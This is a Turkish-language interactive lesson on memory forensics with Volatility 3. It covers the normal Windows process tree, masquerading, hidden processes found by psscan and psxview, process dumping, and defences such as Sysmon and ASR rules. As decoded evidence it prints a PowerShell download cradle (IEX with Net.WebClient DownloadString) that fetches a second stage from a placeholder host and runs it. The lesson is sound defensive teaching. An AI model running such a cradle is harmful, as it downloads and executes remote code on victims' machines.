İçeriğe atla
0 XP 0
12 dkderinleşmeyle 13 dk60 XP7 etkinlik

Süreç listesi ve gizlenen süreçler

Bu derste
  • Volatility 3 ile bellek dökümünden süreç ağacını çıkarmayı, normal ebeveyn zincirini ve listeden koparılmış gizli süreçleri yakalamayı öğren.
  • Bu derste Volatility 3 ile fin-pc12 dökümünden süreç ağacını çıkaracaksın.
  • Listeden silinmiş süreçleri de yakalamayı öğreneceksin.

Puan bütün etkinlikleri cevaplayınca hesaba yazılır. Bu dersi tamamlayınca +60 XP alacaksın. Giriş yapmadan ilerlersen puan yalnız bu tarayıcıda durur.

Bir bellek dökümünde ilk açtığın liste süreç listesidir. Kim çalışıyor, hangi süreç kimin çocuğu, hangi yoldan başlamış? Bu üç soru olayın iskeletini kurar. Ama süreç listesini okumak yalnız adlara bakmak değildir.

Saldırgan bir süreci listeden gizleyebilir, meşru bir ada bürünebilir ya da beklenmedik bir ebeveynin altında çalışabilir. Bu derste önce temiz bir Windows makinesinin normal süreç ağacını öğreneceksin, çünkü anormali ancak normali bilirsen görürsün. Sonra kılık değiştirmeyi, komut satırını ve yüklü modülleri okuyacaksın. Listeden koparılmış süreci iki yöntemle çıkaracak, en sonda şüpheli süreci dosyaya dökeceksin.

Normal süreç ağacı

Windows makinesinde süreç ağacı her açılışta aynı iskeleti kurar. En tepede System durur, süreç kimliği daima 4'tür. smss.exe oturum yöneticisidir ve System'in altında çalışır. smss her oturum için kendinin bir kopyasını başlatır.

Kopya, oturum 0'da csrss.exe ile wininit.exe'yi, oturum 1'de csrss.exe ile winlogon.exe'yi açar ve kapanır. Bu yüzden bu süreçlerin ebeveyni listede görünmez. wininit.exe altında services.exe ve lsass.exe tek örnek olarak çalışır. services.exe hizmetlerin ebeveynidir ve svchost.exe süreçlerini -k parametresiyle başlatır.

Kullanıcı tarafında bir incelik daha vardır. winlogon.exe, userinit.exe adında kısa ömürlü bir süreç başlatır.

userinit de masaüstünü açan explorer.exe sürecini başlatır ve kapanır. Bu yüzden explorer.exe, ebeveyni artık var olmayan bir kimliğe işaret eder. Bu hata değil, normal davranıştır.

explorer.exe oturum açmış kullanıcı başına bir tanedir. Bunu bilmezsen her kayıp ebeveyni şüpheli sanırsın ve zaman kaybedersin. Aşağıdaki ağaçta yıldız sayısı derinliği gösterir. Yıldızsız satırların ebeveyni listede yoktur.

$ vol -f fin-pc12.raw windows.pstree
PID       PPID   ImageFileName   Path
4         0      System          -
* 648     4      smss.exe        \SystemRoot\System32\smss.exe
772       764    csrss.exe       C:\Windows\System32\csrss.exe
828       764    wininit.exe     C:\Windows\System32\wininit.exe
* 916     828    services.exe    C:\Windows\System32\services.exe
** 1108   916    svchost.exe     C:\Windows\System32\svchost.exe
* 940     828    lsass.exe       C:\Windows\System32\lsass.exe
804       796    csrss.exe       C:\Windows\System32\csrss.exe
868       796    winlogon.exe    C:\Windows\System32\winlogon.exe
1204      1160   explorer.exe    C:\Windows\explorer.exe
* 3188    1204   WINWORD.EXE     C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
** 4412   3188   powershell.exe  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
*** 4980  4412   svcupd.exe      C:\Users\mkaya\AppData\Local\Temp\svcupd.exe
764 ve 796 numaralı smss kopyaları ile 1160 numaralı userinit kapandığı için csrss, wininit, winlogon ve explorer kökte durur. WINWORD altındaki zincir ise normal değildir.

Ağacı satır satır oku. System ile smss beklenen yerde. csrss, wininit ve winlogon kökte duruyor, çünkü onları açan smss kopyaları kapanmış. services.exe ile lsass.exe tek örnek, ikisinin de ebeveyni wininit.

İkinci bir lsass.exe ya da ebeveyni wininit olmayan bir lsass.exe, tek başına güçlü bir işarettir. Sorun son üç satırda. explorer.exe altında WINWORD.EXE, onun altında powershell.exe, en altta geçici klasörden çalışan svcupd.exe var.

Metin işlemci normalde komut kabuğu başlatmaz. Zincir beklenen kalıbın dışına çıktığında durup incelersin.

Etkinlik 1 / 7

WINWORD.EXE süreci altında powershell.exe, onun altında da svcupd.exe görünüyorsa ilk yorumun ne olur?

Kılık değiştirmeyi yakalamak

Saldırgan zararlısını çoğu zaman tanıdık bir ada saklar. MITRE ATT&CK bu tekniğe kılık değiştirme (masquerading) der. Üç ayrı işaretle ele geçer.

Birincisi ad benzerliğidir. svchost.exe meşrudur, svch0st.exe ve scvhost.exe değildir. Harflerin yerini denetlemek saniyelik iştir ve sık sonuç verir.

İkincisi yanlış yoldur. System32 dışından çalışan bir sistem süreci şüphelidir. Geçici klasörden ya da Public klasöründen çalışan bir program, kurulmadan çalıştırıldığını söyler.

Üçüncüsü yanlış ebeveyndir. powershell.exe altında çalışan bir lsass.exe olamaz. Adın kendisi değil, yol ve ebeveyn karar verdirir.

Süreç satırındaki öbür alanlar da konuşur. Süreç kimliği numaraları yeniden kullanılır. Kapanan sürecin numarası bir süre sonra başka bir sürece verilir, bu yüzden numarayı hep başlangıç zamanıyla birlikte not edersin. Oturum kimliği de ayırt edicidir.

Oturum 0 hizmetlere ayrılır; kullanıcı arayüzü olan bir programın orada çalışması olağan değildir. Sürecin hangi hesapla çalıştığını windows.getsids verir. windows.privileges ise sürecin ayrıcalıklarını listeler. Sıradan bir kullanıcı programında etkin SeDebugPrivilege görmek, başka süreçlerin belleğine uzanma niyetini düşündürür.

Etkinlik 2 / 7

pslist çıktısında şüpheli satırları işaretle.

Şüpheli satırlara tıkla. Birden fazla olabilir.

İşaretlerken her satırda aynı üç soruyu sordun: ad doğru mu, yol doğru mu, ebeveyn doğru mu? Tek bir işaret bazen masumdur. Kurumun kendi kurulum aracı da geçici klasörden çalışabilir.

İki işaret yan yana geldiğinde ise süreci incelemeye alırsın. Bağlam da önemlidir: bir yazılımcının makinesinde olağan olan bir yol, muhasebe bilgisayarında olağandışı olabilir. Şimdi aynı sınamayı sistem süreci adı taşıyan satırlarda yap. Ad aynı olsa bile yol ve ebeveyn değişince karar da değişir.

Etkinlik 3 / 7

Her süreci meşru ya da şüpheli olarak sınıfla.

Önce bir seçeneğe, sonra aşağıdaki uygun kutuya bas. İstersen seçeneği kutuya sürükleyip bırak. Yerini değiştirmek için aynı işlemi tekrarla.

0/5 seçenek yerleşti.

Komut satırı ve yüklü modüller

Ad ve yol yetmediğinde komut satırını okursun. Önce ağacı çıkarır, şüpheli dalın süreç kimliklerini not edersin. Sonra windows.cmdline eklentisiyle her birinin çağrıldığı tam komutu alırsın.

Kodlanmış PowerShell parametresi, gizli pencere bayrağı ve uzak yol burada görünür. Aşağıdaki örnekte powershell.exe üç bayrakla çalışıyor. -nop profil yüklemeyi atlar.

-w hidden pencereyi gizler. -enc ise base64 ile kodlanmış bir komut çalıştırır. Kodlanmış değer UTF-16LE biçimindedir. Bu yüzden önce base64 çözer, sonra karakter kümesini çevirirsin.

$ vol -f fin-pc12.raw windows.cmdline --pid 4412
PID    Process         Args
4412   powershell.exe  powershell -nop -w hidden -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQA...

# -enc değerinin tamamını enc.txt dosyasına al, sonra çöz
$ base64 -d enc.txt | iconv -f UTF-16LE -t UTF-8
IEX (New-Object Net.WebClient).DownloadString('http://cdn-guncelleme.example/a.ps1')
-enc değeri UTF-16LE metnin base64 hâlidir. Çözülen komut, ikinci aşamayı indiren tek satırlık bir betiktir.

Çözülen satırı parça parça oku. IEX, Invoke-Expression komutunun kısaltmasıdır ve kendisine verilen metni kod olarak çalıştırır.

Net.WebClient nesnesi bir adresten veri indirir. DownloadString ise betiği diske yazmadan metin olarak döndürür. Yani betik yalnız bellekte çalışır. Diskte bu adımdan iz kalmayabilir, ama bellekte komut satırı durur.

Buradan iki gösterge çıkar: cdn-guncelleme.example alan adı ve a.ps1 yolu. İkisini vaka notuna yazar, vekil sunucu ve DNS kayıtlarında ararsın. Binlerce karakterlik bir -enc parametresi de aynı kodlanmış yükün görüntüsüdür.

Yüklü modüller de ipucu verir. windows.dlllist bir sürece yüklenen kitaplıkları yollarıyla listeler. Geçici klasörden yüklenen bir DLL, yan yükleme (side-loading) tekniğinin izi olabilir.

Volatility 3'ün güncel sürümünde kötücül desen denetimleri windows.malware altında toplandı. windows.malware.ldrmodules, belleğe eşlenmiş her dosyanın yükleyicinin üç listesinde görünüp görünmediğini InLoad, InInit ve InMem sütunlarıyla verir. Aşağıdaki tabloda ilk satır sürecin kendisidir.

Ana dosya başlatma listesine hiç girmediği için InInit değerinin False olması normaldir. Üçüncü satırda ise Temp klasöründeki bir DLL üç listenin hiçbirinde yok. Aynı adlı meşru kitaplık System32 altında durur.

$ vol -f fin-pc12.raw windows.malware.ldrmodules --pid 4980
Pid   Process     Base            InLoad  InInit  InMem  MappedPath
4980  svcupd.exe  0x400000        True    False   True   \Users\mkaya\AppData\Local\Temp\svcupd.exe
4980  svcupd.exe  0x7ffc3a1d0000  True    True    True   \Windows\System32\kernel32.dll
4980  svcupd.exe  0x6c3e0000      False   False   False  \Users\mkaya\AppData\Local\Temp\wtsapi32.dll
Üç sütunun üçü de False: dosya belleğe eşlenmiş ama yükleyici listelerinden çıkarılmış ya da yükleyici atlanarak eşlenmiş.

Etkinlik 4 / 7

fin-pc12.raw dökümünden süreçleri ebeveyn ilişkisiyle birlikte listele.

ogrenci@lab

Listeden saklanan süreç

Windows çalışan süreçleri çift bağlı bir liste hâlinde tutar. Her süreç yapısında, EPROCESS içinde, önceki ve sonraki sürece işaret eden bağlantılar bulunur. Volatility'nin pslist eklentisi bu bağlı listeyi yürür ve süreçleri sana yazar. Sorun şu: bu liste değiştirilebilir.

Saldırgan bir sürecin bağlantılarını komşularına diker ve süreci listeden çıkarır. Buna doğrudan çekirdek nesnesi değiştirme (DKOM) ya da bağ koparma denir. Süreç çalışmaya devam eder ama pslist onu artık görmez. Görev Yöneticisi de aynı listeye baktığı için süreci göstermez.

İkinci yöntem imza taramasıdır. psscan eklentisi bağlı listeyi izlemez, bütün bellekte süreç yapısının imzasını arar. Böylece listeden koparılmış bir süreç de bellekteki yapısından yakalanır. İki listenin farkını almak gizli süreci verir: psscan'de olup pslist ya da pstree'de olmayan satıra bakarsın.

windows.malware.psxview bu karşılaştırmayı hazır sunar. Her süreci dört ayrı yöntemle arar ve hangi yöntemin gördüğünü True ya da False olarak yan yana koyar. Bir sürecin bir sütunda görünüp ötekinde kaybolması, saklanma denemesinin izidir.

$ vol -f fin-pc12.raw windows.psscan
PID    PPID   ImageFileName           CreateTime            ExitTime
...
3876   1108   SearchProtocolHost.exe  2026-09-14 02:40:05   2026-09-14 02:41:37
5120   4412   rundll32.exe            2026-09-14 03:09:12   N/A

$ vol -f fin-pc12.raw windows.malware.psxview
Name                    PID   pslist  psscan  thrdscan  csrss  Exit Time
SearchProtocolHost.exe  3876  False   True    False     False  2026-09-14 02:41:37
rundll32.exe            5120  False   True    True      True   N/A
İki süreç de pstree çıktısında yok. Biri kapanmış, öteki yaşıyor ama bağlı listeden koparılmış.

Çıktıyı satır satır oku. psscan iki süreç buldu, ikisi de pstree çıktısında yok. SearchProtocolHost.exe'nin çıkış zamanı dolu. Arama dizinleyicisinin kısa ömürlü yardımcısı çalışmış, kapanmış ve yapısı bellekte kalmış.

psxview'da onu yalnız psscan görüyor. Kapanmış bir sürecin beklenen deseni budur. rundll32.exe ise farklı. Çıkış zamanı boş, iş parçacıkları çalışıyor ve csrss onu hâlâ tanıyor.

False olan tek sütun pslist. Yaşayan bir süreç bağlı listeden koparılmış demektir. Ebeveyni 4412, yani saldırı zincirindeki powershell.exe.

Derinleş:EPROCESS, DKOM ve dört yöntemli görünüm

Windows'ta her süreç EPROCESS adlı bir çekirdek yapısıyla temsil edilir. Bu yapılar ActiveProcessLinks adında çift bağlı bir listeyle birbirine bağlanır. Görev Yöneticisi de pslist de süreçleri bu listeyi yürüyerek sayar.

DKOM tekniğinde saldırgan, gizlemek istediği sürecin bağlantılarını komşularına diker. Süreç yine de çalışır, çünkü çekirdeğin zamanlayıcısı iş parçacıklarını bu listeden değil kendi yapılarından seçer. Bu yüzden tek bir görünüme güvenilmez. psxview yaklaşımı süreçleri birbirinden bağımsız yollarla arar.

Volatility 3 sürümü dört yol kullanır: bağlı liste, süreç imzası taraması, iş parçacığı imzası taraması ve csrss.exe'nin tuttuğu tanıtıcı tablosu. Yaşayan bir sürecin yalnız bağlı listede eksik olması DKOM'un klasik izidir. Kapanmış süreçler ise genelde yalnız imza taramasında kalır. Bu teknik, çekirdeğe yazma yetkisi gerektirdiği için çoğu zaman bir rootkit bileşeniyle gelir.

Etkinlik 5 / 7

Volatility 3'te bellekte imza tarayarak listede olmayan süreçleri bulan eklenti: windows.____

psscan eklentisinin var olma nedeni tam burada ortaya çıkar. Çekirdeğe yazabilen bir saldırgan bağlı listeyi istediği gibi değiştirebilir. Liste değiştirilebiliyorsa, listede olmayan bir sürecin de sistemde çalışmış olabileceğini kabul edersin. pslist çıktısında bir sürecin bulunmaması aklanma belgesi değildir.

İkinci bir yöntemle sınanacak bir iddiadır ve rapora da öyle yazılır. Aynı mantık ağ bağlantısı ve modül listeleri için de geçerlidir. Her listeyi en az iki kaynaktan doğrularsın.

Etkinlik 6 / 7

Doğru mu, yanlış mı?

Bağlı listeden koparılan bir süreç windows.pslist çıktısında görünmez, ama windows.psscan onu bellekteki yapı imzasından bulabilir.

Süreci dışa alma ve savunma

Şüpheli süreci bulduğunda onu dosyaya dökersin. windows.pslist eklentisine --pid ve --dump verirsen süreç imajı diske yazılır. windows.pedump da belirli bir taban adresindeki çalıştırılabiliri bellekten yeniden kurar. Döktüğün dosyanın özetini alır, örneği ayrı bir kum havuzuna ya da zararlı analiz ekibine devredersin.

Bellekten dökülen dosya diskteki kopyayla bayt bayt aynı çıkmaz, çünkü yükleyici bölümleri belleğe yerleştirirken bazı alanları değiştirir. Özetin eşleşmemesi tek başına kanıt değildir. İçe aktarılan işlevler ve dizeler çoğu zaman daha çok şey söyler.

$ vol -f fin-pc12.raw windows.pslist --pid 4980 --dump
PID    PPID   ImageFileName  File output
4980   4412   svcupd.exe     4980.svcupd.exe.0x400000.dmp

$ sha256sum 4980.svcupd.exe.0x400000.dmp
6d0a3c4e1f9b82a57c30e4d19b6f2a8c05e7d93b41a6c8f2e0b5d7194c3a8e61  4980.svcupd.exe.0x400000.dmp
Dosya adı süreç kimliğini, adını ve taban adresini taşır. Özet, örneği analiz ekibine devrederken kimliğidir.

Savunma tarafı aynı bilgiden çıkar. Sysmon'un 1 numaralı olayı her süreç oluşumunu komut satırı, ebeveyn ve dosya özetiyle birlikte kaydeder. Windows'un yerleşik 4688 olayı da komut satırı denetimi açıksa çağrılan komutu yazar. Bu kayıtlar bellekte gördüğün zinciri diskteki günlükle doğrular.

Office'ten başlayan zinciri kaynağında kesmek istersen saldırı yüzeyi azaltma (ASR) kuralları işe yarar. Microsoft'un 'Block all Office applications from creating child processes' kuralı, Office uygulamalarının çocuk süreç açmasını engeller. Kuralı önce denetim modunda açar, iş akışlarını bozmadığını gördükten sonra engellemeye alırsın.

Etkinlik 7 / 7

Her aracı ya da kaydı yaptığı işle eşle.

Soldan bir tane seç, sağdan eşini seç. Kullanılmış bir seçeneği yeniden seçersen yeni öğeye taşınır.

Bu derste bir hata mı gördün? Bildir